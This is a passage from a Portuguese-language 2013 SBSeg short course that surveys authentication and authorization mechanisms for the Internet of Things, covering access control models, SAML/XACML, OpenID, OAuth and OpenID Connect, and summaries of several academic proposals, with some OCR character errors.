autenticacdo, viabilizando assim o uso do protocolo EAP no cendrio da IoT.

O protocolo Host Identity Protocol (HIP) [Moskowitz et al. 2008], concebido
para autenticacao de hosts, tem recebido diversas variantes para operar com dispositivos
que possuem restricdes computacionais, tais como LHIP [Heer 2006], DEX [Moskowitz
2012], TEX [Saied e Olivereau 2012b] e D-HIP [Saied e Olivereau 2012a], que podem ser
utilizados para autenticacio de dispositivos na [oT.

4.4.3. Autorizaciao

Mecanismos de controle de acesso sdo necessdrios para garantir que recursos estejam
disponiveis somente para sujeitos autorizados pela politica de controle de acesso. Um
sujeito pode ser um processo, uma pessoa ou um dispositivo que deseja executar alguma
acdo sobre um recurso [Hu e Scarfone 2012]. Na IoT, a implementacdo deste tipo de meca-
nismo deve levar em consideracdo a dinamicidade do ambiente, com grande nimero de
dispositivos e usudrios, bem como a presenca de dispositivos com recursos computacionais
restritos [Liu et al. 2012, Rotondi et al. 2011].

No contexto da [oT, dentre os trabalhos analisados, observa-se que 0os mecanismos
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de controle de acesso implantam modelos conhecidos e ja empregados na Internet cléssica,
a saber:

e Modelo discricionario: por exemplo, [Guinard et al. 2010] propdem um mecanismo
baseado em lista de controle de acesso (Access Control List — ACL) para possibilitar
que pessoas compartilhem seus dispositivos da WoT com outros usudrios por meio
das redes sociais existentes. O dono do dispositivo necessita configurar as permissoes
para cada dispositivo e para cada usudrio com quem queira compartilha-lo. Uma
abordagem utilizando ACLs é custosa para um usudrio manter quando este possui
muitos dispositivos e muitos usudrios com quem deseje compartilhar;

e Modelo baseado em papéis (Role Based Access Control — RBAC): [Liu et al.
2012, Jindou et al. 2012, De Souza et al. 2008] adotam o modelo RBAC que é
amplamente aceito na Internet e conhecido por sua simplicidade para gerenciar
permissoes e usudrios. Porém, [Mahalle et al. 2013a] apontam que o RBAC possui
granularidade limitada e a forma com que este lida com a delegacdo de direitos ndao
¢ adequada para ambientes de larga escala, como o ambiente da [oT;

e Modelo baseado em habilidades (Capability Based Access Control — CapBAC): o
detentor da habilidade (token de autorizacdo) € capaz de interagir com um objeto
por meio de operagdes bem definidas. A informagdo sobre a identidade do usudrio
ou dispositivo é transformada em uma habilidade, que ainda combina os direitos de
acesso deste usudrio/dispositivo. Esse modelo oferece boa escalabilidade, uma vez
que ndo ha a necessidade de confrontar a identidade do usudrio com uma lista de
controle de acesso, ou com listas de papéis e de permissdes. Neste modelo, tem-se
um nimero menor de informacdes armazenadas na entidade responsdvel por aplicar
o controle de acesso. [Rotondi et al. 2011, Mahalle et al. 2012, Mahalle et al. 2013a]
seguem este modelo em suas infraestruturas de autorizagao;

e Modelo baseado em atributos (Aftribute Based Access Control — ABAC): a decisdo
de autorizagdo € tomada a partir de um conjunto de atributos do sujeito, do objeto,
das operacdes requisitadas e das condi¢des do contexto frente as politicas de controle
de acesso, regras ou relagdes que descrevam as operacdes permitidas para um
determinado conjunto de atributos [Hu et al. 2013]. [Han e Li 2012] fazem uso
do modelo ABAC na IoT, adaptando-o para tratar da delegacdo de atributos neste
cendrio. Segundo os autores, é possivel perceber alguns beneficios do uso do ABAC
em cendrios como [oT, quando o sujeito faz o acesso a um objeto fora de seu dominio
administrativo. Nesse caso, as listas de controle de acesso (Access Control List —
ACL) ou os papéis do RBAC ndo sdo aplicdveis, pois estes estdo fortemente ligados
ao contexto do detentor do recurso. [Zhang e Liu 2011] também adaptam o modelo
ABAC para o cendrio de IoT, combinando uma abordagem orientada a workflow
(WABAC). Neste modelo, para que seja tomada uma decis@o de controle de acesso,
sdo considerados os atributos de trés atores: (i) o sujeito, aquele que deseja realizar
uma acdo sobre um recurso, que pode ser um usudrio, uma aplicacdo ou um telefone
movel, tendo atributos como um identificador, um endereco IP ou endereco de
e-mail, etc; (ii) o recurso, que pode ser, por exemplo, um servigo, um dado ou um
dispositivo inteligente, tendo atributos como localizacdo geografica, identificador ou
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data de criacdo, etc; e (iii) o ambiente, que se refere ao contexto em que o acesso a
informacao acontece, tendo atributos como a data ou o nivel de seguranca da rede.

4.5. Infraestruturas de Autenticacao e de Autorizacao Aplicadas a IoT

Em [Wangham et al. 2010, Nogueira et al. 2011, Feliciano et al. 2011, Silva et al. 2013]
foram descritos os principais padrdes e solucdes para prover gestdo de identidade para
a Internet classica, para Internet do Futuro, para Nuvens e para Redes Experimentais,
respectivamente. Esta secdo apresenta os principais padroes e solugdes que estdo sendo
empregados no contexto da Internet das Coisas.

4.5.1. Especificacoes de Seguranca para Servicos Web

A Security Assertion Markup Language (SAML) [OASIS 2008], baseada na linguagem
XML, define sintaxe e regras para criacao, requisi¢ao e transporte de informacdes sobre
autenticacdo, autorizacdo e atributos através de assercOes de seguranca . A eXtensible
Access Control Markup Language (XACML) [OASIS 2003] tem por objetivo descrever
politicas de controle de acesso em um formato interoperavel. Na especificacdo da XACML,
também € descrito um protocolo para realizar requisi¢des sobre decisdes de controle de
acesso. Os padroes SAML e XACML sdo amplamente usados em Servicos Web. O uso
destes na IoT também € possivel, conforme pode ser visto nos trabalhos, a seguir.

Conforme citado na Se¢do 4.4.3, [Zhang e Liu 2011] apresentam um modelo
de controle de acesso baseado em atributos e orientado a Workflow (WABAC), no qual
permissoes sdo geradas para usudrios de acordo com seus atributos, atributos dos recursos,
do ambiente e da tarefa atual. Na solucdo proposta, o SAML ¢é usado para o transporte
dos atributos do sujeito e 0 XACML € usado como linguagem para descrig@o das politicas
de acesso e para tomada de decis@o sobre quais usudrios, baseado nas assercdes SAML,
podem acessar quais recursos.

Inicialmente, antes do sujeito solicitar o acesso ao sistema, ele deve possuir uma
asser¢cdo SAML de atributos , emitida por uma autoridade de atributos. Em seguida, essa
asser¢cdo SAML ¢€ inserida no cabecalho de uma requisicio SOAP enviada ao sistema.
Ao receber a requisicdo, o sistema gera as tarefas relacionadas a requisicao e as coloca
em um estado pronto. Assim que uma das tarefas é ativada, o Policy Enforcement Point
(PEP) obtém os atributos do sujeito, as informagdes da tarefa e monta uma requisicao de
autorizacdo XACML, a qual é enviada para o Policy Decision Point (PDP). Cabe ao PDP
tomar a decisdo de autorizagdo baseado nas politicas de autorizacdo, no estado da tarefa e,
caso precise de mais atributos, ird obté-los através do Policy Information Point (PIP).

Em [Domenech e Wangham 2013] € proposta uma infraestrutura de autenticagao e
de autorizacdo (IAA) para IoT que faz uso dos padroes SAML e XACML. O trabalho, em
andamento, tem como objetivo prover autentica¢io e autorizacao de usudrios e de disposi-
tivos em dominios diferentes de seguranca e que utilizam tecnologias de comunicacgdo e de
autenticacdo diferentes. A IAA proposta segue o modelo de identidades federadas, sendo
o SAML usado para a troca de dados de atributos de usudrios e de dispositivos. Cada
dominio de seguranca possui uma IAA, que contribui para a autenticagdo e o controle
de acesso dos servico web RESTful, disponibilizados pelos dispositivos (seguindo uma
arquitetura orientada a recursos). O XACML € usado para expressar as politicas de controle
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de acesso baseado em atributos e para troca de informagdes de autorizagdo entre PDPs,
PEPs e PIPs.

A TAA € composta de duas partes: uma disponibilizada como um Servico Web
RESTful, que contempla o provedor de identidade (IdP) para autenticacdo e o PDP para
tomada de decisdo de autorizagdo de um dado dominio; e a outra embarcada em cada
dispositivo (ou smart gateway), que deve ser usada por estes para redirecionar as funcdes
de autenticacdo e de autorizagdo para a IAA oferecida como um servigo e para prover a
implementa¢do do PEP (monitor de referéncia). A IAA ird prover um IdP SAML com
suporte a diferentes técnicas de autenticacao de dispositivos e de usudrios, oferecendo,
quando necessdrio, a transposi¢do de credenciais de autenticagdo para o padrao SAML.
A assercao de atributos resultante do processo de autenticac@o serd apresentada para o
provedor de servico (do dispositivo) para que entdo o processo de autorizacao se inicie.

4.5.2. Autenticacao de Usuarios com OpenlID e Windows CardSpace

O OpenlID € um protocolo de autenticacdo unica (SSO - Single Sign On) que permite que 0s
usudrios se autentiquem em sites (provedor de servicos), utilizando o identificador OpenlD
(conta) que desejarem. O OpenlD também permite ao usudrio controlar as informagdes que
serdo compartilhadas com as aplica¢des [Recordon e Reed 2006]. No OpenlD, quando um
usudrio fornece o seu identificador, este é¢ imediatamente redirecionado para o seu provedor
OpenlD, que realiza a autentica¢do utilizando o método de autenticacdo, suportado no
provedor OpenlD indicado. Apds a confirmacao dos dados, o usudrio € redirecionado para
o provedor de servigos, junto com seus atributos [OpenID 2007].

O Windows CardSpace é um metasistema que permite aos usudrios escolherem,
diante de um portfélio de identidades que possuem, aquela que melhor se adequa ao
contexto de um dado provedor de servicos, independente do sistema que originou tal
identidade [Chappell 2006]. O CardSpace é um componente da plataforma .Net da
Microsoft, projetado para oferecer aos usudrios uma experiéncia consistente do uso de
multiplas identidades digitais, a partir do uso de um agente (user-agent) especializado,
chamado seletor de identidades. Quando um provedor de servicos requisita a autenticacao
e atributos de um usudrio, o seletor de identidades do CardSpace transmite as informagdes
requisitadas em um foken de segurancga digitalmente assinado, sendo que esse conjunto
de atributos pode ser gerado e assinado pelo proprio usuério ou por um provedor de
identidades externo, que gerencia a identidade selecionada pelo usuario [Maler e Reed
2008].

O uso do OpenID, do Windows CardSpace e do padrio SAML no cendério de
Internet das Coisas, apenas para autenticacao de usudrios, € tratado no middleware Hydra
[Akram e Hoffmann 2008c]. A proposta dos autores € que haja um complemento entre
as tecnologias para prover uma solu¢do de gestdo de identidades seguras, na qual uma
tecnologia complementa a outra.

4.5.3. OAuth e OpenID Connect

O OAuth é um framework de autenticacdo e de autorizagdo que permite que um usudrio/a-
plicacdo compartilhe recursos na web (delegue acesso a um recurso) com terceiros sem
ter que compartilhar sua credencial de autenticagdo. Com o protocolo OAuth € possivel
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autorizar o acesso a esses recursos por um tempo determinado [Hardt 2012].

Na versdo 2.0 do protocolo o OAuth, sdo definidos quatro papéis: proprietario
do recurso, servidor de recursos, cliente e servidor de autorizagdo. Uma das interagdes
possiveis entre os papéis possui os seguintes passos [Hardt 2012]:

1. O cliente solicita a autorizacdo do proprietario do recurso;

2. O proprietario do recurso verifica os dados do cliente e retorna a permissao de
autorizacdo, representada por uma credencial de autorizagdo do proprietdrio do
recurso;

3. O cliente utiliza a credencial de autorizagdo para solicitar o token de acesso ao
servidor de autorizagdo;

4. O servidor de autorizacdo autentica o cliente e valida a credencial de autorizacdo e,
se validos, emite um token de acesso;

5. O cliente solicita o recurso (aplicacio) ao servidor de recursos € se autentica utili-
zando o foken de acesso;

6. O servidor de recursos verifica o token de acesso, se vdlido, disponibiliza o recurso
ao cliente.

O OpenlID Connect 1.0 € uma camada de identidade sobre o protocolo OAuth 2.0.
Esta integragdo OpenlD com OAuth permite que um cliente verifique a identidade do
usudrio final baseada na autenticacdo executada pelo Authorization Server, assim como
para obter informagdes do perfil do usudrio, a partir de uma solugdo interoperavel e baseada
em REST [Sakimura et al. 2013].

Segundo [Sakimura et al. 2013], o OpenID Connect 1.0 permite que clientes
de diversos tipos, incluindo clientes Web, moéveis e JavaScript, requisitem e recebam
informagdes sobre sessoes de autenticagdo de usudrios finais. A especificagdo € extensivel,
permitindo, por exemplo, a cifragem de dados de identidade e a descoberta de provedores
OpenID Connect.

Um trabalho em andamento que envolve o uso do OpenID Connect no cenédrio da
WoT estd sendo desenvolvido por [Santos et al. 2013]. Este trabalho tem por objetivo ava-
liar os impactos causados em um sistema de assisténcia médica pelo uso de um sistema de
IdM centrado no usudrio. A autentica¢do de usudrios e de dispositivos e o estabelecimento
das relagdes de confianga entre usudrios, servidor OAuth (IdP) e o servidor de recurso
sdo providos pela infraestrutura de autenticacao e autorizacao (IAA) OpenlID Connect 1.0.

Uma caracteristica importante do uso do OpenlID Connect neste trabalho é que
por incluir o OAuth 2.0 em sua arquitetura, é possivel que clientes sejam ndo apenas
navegadores web, mas também outros tipos de aplica¢des ou dispositivos, possibilitando ao
IdP OpenID Connect ser utilizado nio s6 para autenticar usudrios, mas também dispositivos
inteligentes e aplicacdes que enviam dados para o sistema de assisténcia médica remota.

YEquivale aos provedores de servicos (SPs).
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Um usudrio, através de seu navegador web e por meio da API RESTful oferecida
pelo Smart Gateway, ao tentar acessar um recurso de um dispositivo médico, € redire-
cionado para o OpenID Connect Provider, para que o usudrio se autentique. Apds a
autenticagdo, o navegador web € redirecionado ao servidor de recursos munido do token
de acesso. Com base nos atributos do usuéario, o SP concede acesso a ele, retornando uma
mensagem com os sinais vitais do paciente obtidos por meio do dispositivo médico.

Na solug@o proposta, durante o processo de envio dos dados monitorados do
paciente, obtidos com o dispositivo médico para uma aplicacdo web de assisténcia médica
remota, o smart gateway também precisard se autenticar. O Smart Gateway ao tentar
publicar dados na aplicacdo web (servidor de recurso), € informado pelo servidor de recurso
que este precisa se autenticar, solicitando que indique seu OpenlID Connect Provider. O
dispositivo entdo se autentica no provedor escolhido e recebe um foken, o qual € enviado
ao servidor de recurso para que, baseado nos atributos do dispositivo, este possa conceder
ou nao 0 acesso ao servigo solicitado.

Outro trabalho em andamento, [Prazeres e do Prado Filho 2013], propdem uma
infraestrutura para disponibilizagdo de dispositivos fisicos na Web (WoT) por meio de bar-
ramento de servigos. Para controlar e prover autenticacio e autorizagcao para acesso a esses
dispositivos, a solug¢do proposta pelos autores € a utilizacdo do OpenID Connect. Neste
caso, um servidor OpenID Connect, externo ao barramento, € o responsdvel por prover a
autenticacdo de usudrios finais que tentarem acessar os recursos (coisas) disponibilizados
no barramento de servicos.

4.6. Iniciativas de Gestao de Identidades para Internet das Coisas

Com o objetivo de fazer um levantamento do estado da arte sobre autenticagdo e autorizagao
na Internet das Coisas, uma revisdo sistemdtica da literatura foi conduzida. A seguir, tem-se
um pequeno resumo do protocolo de busca executado:

e Pergunta de pequisa: Quais mecanismos (solu¢des) abordam a autenticacdo ou
autorizacdo na [oT?

e String de busca em portugués: (Internet das Coisas OR IoT OR Dispositivos Inteli-
gentes OR Objetos Inteligentes) AND (Autenticacdo OR Autorizagdo OR Gestdo de
Identidade);

e String de busca em inglés: (Internet of Things OR IoT OR Smart Devices OR
Smart Objects OR Machine to Machine) AND (Authentication OR Authorization
OR Identity Management);

e Fontes pesquisadas: IEEExplore (http://ieeexplore.ieee.org;Springer
Link (http://1link.springer.com/, Google académico (http://scholar.
google.com.br, BDBComp (http://www.lbd.dcc.ufmg.br/bdbcomp/
bdbcomp. jsp, ACM Digital Library http://portal.acm.org, Periédicos
CAPES (http://www.periodicos.capes.gov.br).

e Critérios de selecao: data da publicacdo (2005 a 2013) e andlise do titulo, resumo e
conclusodes de forma a confirmar o alinhamento com a pergunta de pesquisa;
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e Critérios para exclusdo: foram excluidos do estudo trabalhos cujos titulos e resumos
eram conflitantes (em relacdo a questdo de pesquisa) e solu¢gdes de seguranca que
nao estavam alinhadas aos principais padroes de IoT.

e Periodo de execucdo da revisdo sistematica: abril a agosto de 2013.

Como resultado desta revisdo sistematica, trinta e um trabalhos (artigos) foram
identificados e tabulados. Destes, alguns foram agrupados, pois sdo desdobramentos de
uma pesquisa ou por serem resultados de projetos de pesquisas. Para sele¢ao dos projetos
apresentados nesta secdo, utilizou-se como critérios: projetos cujos resultados foram
publicados em artigos retornados com o protocolo de busca, que foram financiados por
orgdos de fomento e que tiveram mais de um ano de duracdo. Em relagdo aos artigos,
dentre os que retornaram na revisao sistemadtica, foram selecionados os trabalhos mais
recentes (a partir de 2010) e relevantes em relacdo as caracteristicas da IoT.

4.6.1. Trabalhos Académicos
4.6.1.1. Nguyen et al. 2010

[Nguyen et al. 2010] abordam um cendrio de saude eletronica (e-health) no qual enfer-
meiros e médicos precisam ter acesso aos dados de monitoramento da saude do paciente
em tempo real, quando este estd dentro do hospital. Dados como temperatura e batimento
cardiaco s@o monitorados através de sensores moveis que ficam no préprio paciente, além
de dados sobre o ambiente em que o paciente estd, como temperatura e umidade, que
sao medidos através de sensores fixos em cada ambiente. Esses sensores fazem parte de
uma rede de sensores sem fio (RSSF) e podem se comunicar diretamente com o disposi-
tivo mével do médico, enviando informagdes diretamente para ele, sem a necessidade de
uma infraestrutura de autenticacao e comunicacao ou de dispositivos intermedidrios que
transferem dados para a Internet. Para esse ambiente, os autores propdem um esquema de
autenticacdo baseado em identidades (IDs) dinamicas para que um dispositivo autentique
outro (M2M).

No cendrio descrito no trabalho, diversas RSSF existem dentro de um hospital,
sendo que cada rede é composta por um gateway e por diversos sensores maéveis (instalados
no pacientes) e sensores fixos. Ha ainda um provedor de servicos M2M para o hospital. O
esquema se divide em trés etapas. A primeira e tapa consiste na inicializa¢ao da identidades
de todos os sensores e gateways da rede. As identidades dos sensores sdo formadas pela
concatenagdo da ID do dominio em que estdo com a sua propria ID. Os gateways, possuem
uma ID igual a ID do dominio seguido por uma sequéncia de zeros. Ja os dispositivos
moveis (portados por médicos e emfermeiros) possuem uma ID igual a concatenagao de
sua prépria ID com a ID do provedor de servicos M2M.

A segunda etapa consiste na pré-distribui¢do de material criptografico para que a
comunicacao entre os dispositivos (gateway, sensores fixos e moveis e dispositivos moveis)
possa ocorrer. Nesta etapa, os sensores € 0s gateways recebem material criptografico de
modo a poderem se comunicar com qualquer dispositivo mével, que € portado pelos médi-
cos. J4 a comunicagao entre os sensores poderd ocorrer de acordo com uma probabilidade
de que eles dividam o mesmo espaco de chaves criptograficas, que permitird que eles, na
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etapa seguinte, consigam gerar uma chave compartilhada comum.

A dltima etapa consiste na autenticacdo e ocorre de maneira distinta para dis-
positivos méveis, sensores moveis e sensores fixos. Os dispositivos méveis difundem
suas identidades ao ingressarem em um dominio. Quando um sensor fixo recebe esta
informacao, este consegue determinar que se trata de um dispositivo mével e envia essa
informagdo para o gateway de seu dominio. O gateway, por sua vez, consulta o provedor
de servico M2M para confirmar se o dispositivo mével é valido. Se for mével, o gateway
cria uma ID dinamica para este dispositivo movel, a qual é vélida apenas para esse dominio.
Essa ID dinamica € entdo enviada ao sensor fixo que recebeu a informac¢ao de identidade
difundida pelo dispositivo pela primeira vez. Ao receber essa informagdo, o sensor envia a
sua prépria ID ao dispositivo mével, juntamente com um indice do espaco de chaves a que
o sensor pertence. De posse disso, o dispositivo mdvel e o sensor irdo calcular uma chave
compartilhada.

O dispositivo mdvel cifra sua ID com esta chave compartilhada e a envia ao sensor
fixo. O sensor tentard decifrar a mensagem e, caso nao consiga, isto indica que se trata de
um dispositivo malicioso que esta forjando a ID de um dispositivo vdlido. Caso consiga
decifrar com sucesso, entdo a ID dindmica € enviada pelo sensor estédtico ao dispositivo
moével. Ambos irdo calcular uma nova chave compartilhada, baseada na nova ID recebida,
e poderdo se comunicar com seguranca. O sensor fixo difunde, aos sensores fixos do
mesmo dominio, que hd um novo dispositivo mével no dominio. Caso o dispositivo movel
saia do dominio, o gateway avisara aos sensores fixos.

Em um sensor mével o processo de autenticacdo ocorre de maneira diferente. Ao
invés do gateway fazer a verificacdo de identidade com o provedor de servico M2M, este a
faz com o gateway no qual o sensor mével estava associado anteriormente. Assim, quando
um sensor movel sai de um dominio B e entra num dominio A, este comunica-se com 0
gateway do dominio A, para que este confirme com o gateway de B que o sensor mével
ndo estd mais no dominio B. Ao constatar que ndo estd, o gateway de B avisa aos sensores
de seu dominio que o sensor em questao deixou o dominio e, em seguida, o gateway de A
recebe a confirmagdo da saida do sensor mével do dominio B. Isso permite que o gateway
do dominio A gere uma ID dindmica que permitird ao sensor mével continuar com o
processo de estabelecimento de uma chave compartilhada com algum sensor vizinho, da
mesma forma como foi descrito para o dispositivo mével. Ao fazé-lo, o sensor vizinho ird
informar a todos do dominio que o sensor movel faz parte da rede.

Deve-se ressaltar que o processo de estabelecimento de chave compartilhada entre
um sensor mével (colocado no paciente) e um sensor fixo (colocado no ambiente) é
probabilistico, ou seja, € possivel que dois sensores nao consigam encontrar uma espago
de chaves comum para o cdlculo de uma chave compartilhada. Isso se dd devido as
restrigdes computacionais de tais dispositivos. Caso isto ocorra, os dois sensores devem
encontrar uma maneira de concordar com uma chave comum ou utilizar outros sensores
para encaminhamento de mensagens entre eles. J4 com os dispositivos méveis, ndo hd esse
problema, haja vista que possuem mais recursos computacionais e podem carregar em sua
memoria toda a informacao criptografica necessdria para se associar em qualquer dominio
da rede hospitalar. Desse modo, € possivel garantir que o dispositivo mdvel sempre estard
conectado em qualquer ambiente, enquanto o sensor mével ndo possui tal garantia.
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4.6.1.2. Alam et al. 2011

[Alam et al. 2011] abordam a provisdo de acesso seguro a servicos na IoT e a interopera-
bilidade semantica de atributos de seguranca entre diferentes dominios administrativos.
No framework proposto, usa-se o conceito de regras semanticas para expressar restricoes
de autorizacdo de acesso, que sao usadas para inferir decisdes de acesso. Este processo é
chamado pelos autores de security reasoning (raciocinio de seguranca).

Atributos de seguran¢a de dominios administrativos diferentes normalmente sdao
diferentes. Tratando-se de organizacdes diferentes, o Diretor da organizacdo A ndo terd os
privilégios do Diretor da organizacdo B, quando um estiver atuando em recursos/servigos
do outro. Este deve ser mapeado para um outro papel dentro da organizacdo B, com menor
nivel hierdrquico e mais restricdes de acesso.

Os autores descrevem um cendrio para esclarecer a motivacao para o framework
proposto. No cendrio, deseja-se monitorar constantemente trens de uma infraestrutura
ferrovidria, com o objetivo de: (i) detectar anomalias, como temperatura dos componentes
e vibracdes elevadas, e (ii) tornar tais informacdes disponiveis para os diferentes atores da
infraestrutura, como o operador do trem, o dono da infraestrutura de trilhos e o consumidor
do servico de transporte, que estdo em dominios administrativos diferentes.

Para tratar o problema da interoperabilidade semantica dos aspectos de seguranca,
os autores propdem o uso de ontologias que levam em consideracao as seguintes situacoes:

e OrganizacOes mantém papéis/responsabilidades de modos diferentes (nomes de
papéis, significados, hierarquias). Deve ser possivel mapear, assim, o papel de um
usudrio em uma organizagao para o papel correspondente em outra organizagao;

e Manutencdo de niveis de seguranga diferentes pelas organiza¢des. Mapear, conforme
o papel, os niveis de seguranga aplicaveis.

Os autores utilizam um framework arquitetural do ETSI para M2M chamado TS
102 690 [ETSI 2011], o qual € estendido para atender ao requisito de seguranga entre
dominios administrativos distintos. Para que o processo de raciocinio de seguranca seja
possivel, é necessdrio que o sistema tenha conhecimento completo e formal do dominio
em que atua, contendo a identificacao de sensores, dados de sensores, identificacdo de
usudrios e atributos de usudrios (como papéis).

Regras semanticas especificam as restricdes de autorizagdo de acesso e a execucao
das regras ird gerar as decisoes de autorizag¢do. Basicamente, sdo utilizadas trés ontologias
na base de conhecimento: (i) a de sensores, que descreve sensores e dados recuperados
por estes; (ii) de eventos, que descreve falhas e suas caracteristicas; e (iii) de controle de
acesso, que descreve os atores envolvidos na provisdo de acesso seguro.

O framework proposto permite que aspectos relacionados ao controle de acesso em
uma organizacao, possam ser influenciados pelos mecanismos e modelos de controle de
acesso utilizados em outros dominios administrativos. A interoperabilidade semantica de
aspectos de segurancga, abordada com ontologias em uma plataforma M2M, permite que
atributos de seguranca em diferentes dominios possam ser compreendidos sem ambiguida-
des, visando assim garantir uma operagao integrada [Alam et al. 2011].
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4.6.1.3. Fu et al. 2011

[Fu et al. 2011] apresentam um sistema de gestao de identidades para um cendrio Machine-
to-Machine (M2M) em que os dispositivos possuem multiplas funcionalidades e atendem a
diferentes aplicacdes a0 mesmo tempo, podendo atender cada uma com uma funcionalidade
diferente. A identidade (ID) € definida pelos autores como um conjunto de funcdes do
dispositivo e de opcdes de configuracdo. Atributos de uma identidade se referem, portanto,
a descricao de uma funcdo do dispositivo e as op¢des de configuracio desta fungao.

Visando garantir a privacidade do dispositivo, para cada aplicacio que utiliza uma
fun¢do (ou um conjunto de fun¢des) do dispositivo, este pode apresentar uma identidade
diferente. Assim, para este cendrio assume-se dois requisitos: (i) o requisito de autorizagdo,
no qual a aplicacdo exige que o dispositivo prove sua identidade; e (ii) o requisito de
privacidade, no qual o dispositivo deseja manter privadas as informagdes ndo pertinentes a
aplicagdo.

i
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Pseuddnimo |
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Figura 4.5: Relagado do dispositivo, ID, pseudonimo e aplicagdes — [Fu et al. 2011]

Antes que um dispositivo possa acessar uma aplicagdo, este deve acessar um
provedor de identidades (IdP) para obter um ID, tendo como base as funcdes e propriedades
que este possui e a aplicacio que este deseja acessar. O IdP armazena um indice de registro
global das func¢des que cada dispositivo do dominio pode oferecer. Uma aplicacdo M2M,
ao ingressar no dominio, busca no indice do IdP pelo dispositivo mais adequado para
atender a necessidade desta aplicac¢do. Para ndo fornecer funcionalidades e informagdes
que nao sao relevantes para o acesso pleiteado, o dispositivo faz uso de pseuddnimos,
definido a partir de um subconjunto do seu ID (fun¢des e configuracdes que o dispositivo
deseja compartilhar com a aplicacdo alvo). O dispositivo apresenta suas credenciais a
aplicacdo (ID completo ou pseuddnimo), a qual o autentica e recebe direito de acesso as
opgoes de configuracdo no dispositivo.

A Figura 4.5 mostra um dispositivo fornecendo um pseudoénimo diferente para
cada uma das aplicacdes, tendo como base o ID gerado pelo IdP. Apresentando diferentes
pseudonimos para diferentes aplicacdes, o dispositivo consegue atender diversas aplicacdes
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simultaneamente e ainda manter sua privacidade, ja que as aplicagdes s6 poderdo atuar
sobre as configuracdes/funcdes que foram apresentadas pelo dispositivo. Ao utilizar um
pseuddnimo, o dispositivo deve ainda provar sua identidade para a aplicacdo, processo que
¢ feito através do método Zero Knowledge Proof [Quisquater et al. 1989].

4.6.1.4. Hecate [Graf et al. 2011]

Hecate, proposto em [Graf et al. 2011], define um framework de autorizacio centralizado
e flexivel. O Hecate usa do conhecimento da estrutura dos recursos oferecidos pelos
dispositivos para tomar decisdes de autorizacdo. A flexibilidade do framework de autoriza-
cdo se baseia em conjuntos de permissdes que estdo relacionados aos métodos do HTTP
(HTTP-verbs) usados pelo REST.

O mecanismo de autoriza¢do do Hecate tem como base um modelo de usudrio, que
faz o mapeamento do usudrio (suas credenciais, IDs) para um conjunto de regras, as quais
sdo definidas em documentos XML de permissoes (Permission XML Documents - PXDs).
As requisi¢des de acesso ao recurso contém informagdes sobre o usudrio requisitante
e o URI. Essas duas informag¢des ajudam a encontrar as regras aplicaveis a requisicao
(modelo do usudrio). O documento PXD estd relacionado a representacdo de diferentes
regras € seus mapeamentos para funcionalidades do HTTP. Cada regra no PXD pode,
opcionalmente, suportar filtragem baseado no conhecimento dos recursos, de acordo com
0 HTTP-verb usado na requisi¢do, bem como baseado nas caracteristicas desse recurso
que sdo conhecidas pelo mecanismo de autorizagdo. Cada regra no PXD refere-se a uma
operagdo especifica do HTTP sobre um determinado Uniform Resource Identifier (URI),
sendo que esta regra esta ligada a URI e estd também ligada a uma permissdo. Desta
maneira, o0 PXD estd baseado nos seguintes aspectos:

e Uma URI registrada pode ser protegida por muitas regras. Isto garante um conjunto
de permissdes em fun¢do das diversas maneiras de acessar uma URI (diversos
HTTP-verbs do REST);

e (Cada regra refere-se a um HTTP-verb;

e Além da autorizagcdo baseada HTTP-verbs do REST, filtros de permissdes, baseados
no conhecimento do recurso, podem ser aplicados;

Os filtros podem ser usados para alterar a requisicdo a um recurso (antes da
requisicdo chegar ao dispositivo que prové o recurso) ou a resposta a uma requisicao (antes
de ela ser enviada ao requisitante). Em uma resposta a uma requisi¢ao, quando um filtro é
aplicado, s6 € retornado ao requisitante a parte da informacao que o filtro permite. Ou seja,
€ possivel aplicar o filtro para realizar um controle de acesso mais granular ao recurso, a
partir do conhecimento da estrutura desse recurso.

O Hecate permite que o controle de acesso se mantenha independente da represen-
tacdo dos recursos, baseando-se nas operagdes do HTTP. Com conhecimento da estrutura
dos recursos, € possivel ainda prover controle de acesso com alto grau de granularidade.

185 ©2013 SBC — Soc. Bras. de Computa¢do



Minicursos do XIII Simpésio Brasileiro em Seguranca da Informacdo e de Sistemas Computacionais — SBSeg 2013

4.6.1.5. Rotondi et al. 2011

[Rotondi et al. 2011] apresentam uma abordagem de controle de acesso que utiliza 0 mo-
delo de autorizacdo baseada em habilidades (CapBAC), no ambito do projeto IoT @ Work®.
Alguns elementos da abordagem proposta sdo descritos a seguir [Rotondi et al. 2011]:

e Recurso: pode ser um servico de informacao (que fornece uma medi¢ao), um servico
de aplicacdo ou ainda uma com de servicos. O recurso deve ser identificado de forma
dnica em Seu contexto;

e Habilidade de autorizagdo: detalha os direitos de acesso concedidos, 0s recursos nos
quais estes direitos podem ser aplicados, os sujeitos que pode usufruir desses direitos
(habilidade) e outras informagdes adicionais, tais como validade da habilidade e
restri¢des de uso;

e Servico de Revogacgdo de Habilidade: € utilizado para revogar uma ou mais habili-
dades. Uma revogacdo € criada por um sujeito que tem direitos especificos, sendo
utilizada para informar ao servico que faz a gestdo do recurso que uma habilidade
ndo é mais valida;

e Requisicdo de Operacao: é uma requisi¢do de servigo usual com uma caracteris-
tica adicional para referenciar ou incluir uma habilidade, que concede direitos ao
requisitante;

e Policy Decision Point (PDP) do Recurso: responsavel por validar e decidir acerca
de uma requisi¢ao de acesso a um recurso. Avalia-se a habilidade presente na
requisi¢cdo de acesso (direitos que a habilidade garante) e frente as politicas de acesso
a0 recurso;

e Gerente de Recursos: responsédvel por gerenciar as requisicdes de acesso ao re-
curso, agindo também como Policy Enforcement Point (PEP), aplicando as decisoes
tomadas pelo PDP;

e Servico de Revogacdo: responsdvel por gerenciar as revogacdes de habilidades e as
politicas de acesso aos recursos aplicadas pelo PDP.

Um exemplo do uso desta abordagem e de seus elmentos é descrita em [Rotondi
et al. 2011]. Bob € dono de um carro e precisa que outras pessoas possam ter acesso as
informacdes de seu carro, porém a cada pessoa especifica é desejado compartilhar somente
informacoes especifica. Assim, Bob gera habilidades que sdo associadas ao identificador
da pessoa e que contém um conjunto de direitos de acesso, bem como o prazo de validade
desta habilidade. Alice, sua esposa, recebe uma habilidade (C1) para obter informagdes
sobre a localizagdo geogréfica do carro de Bob. O servigo de trafego da cidade também
recebe a habilidade (C2) sobre a localizagdo geogréfica, porém sem outras informacoes
que possam identificar que o carro é de Bob. Assim, toda requisi¢do enviado ao carro de
Bob contém os dados do requisitante, sua assinatura digital e a habilidade que Bob delegou

‘https://www.iot—at-work.eu
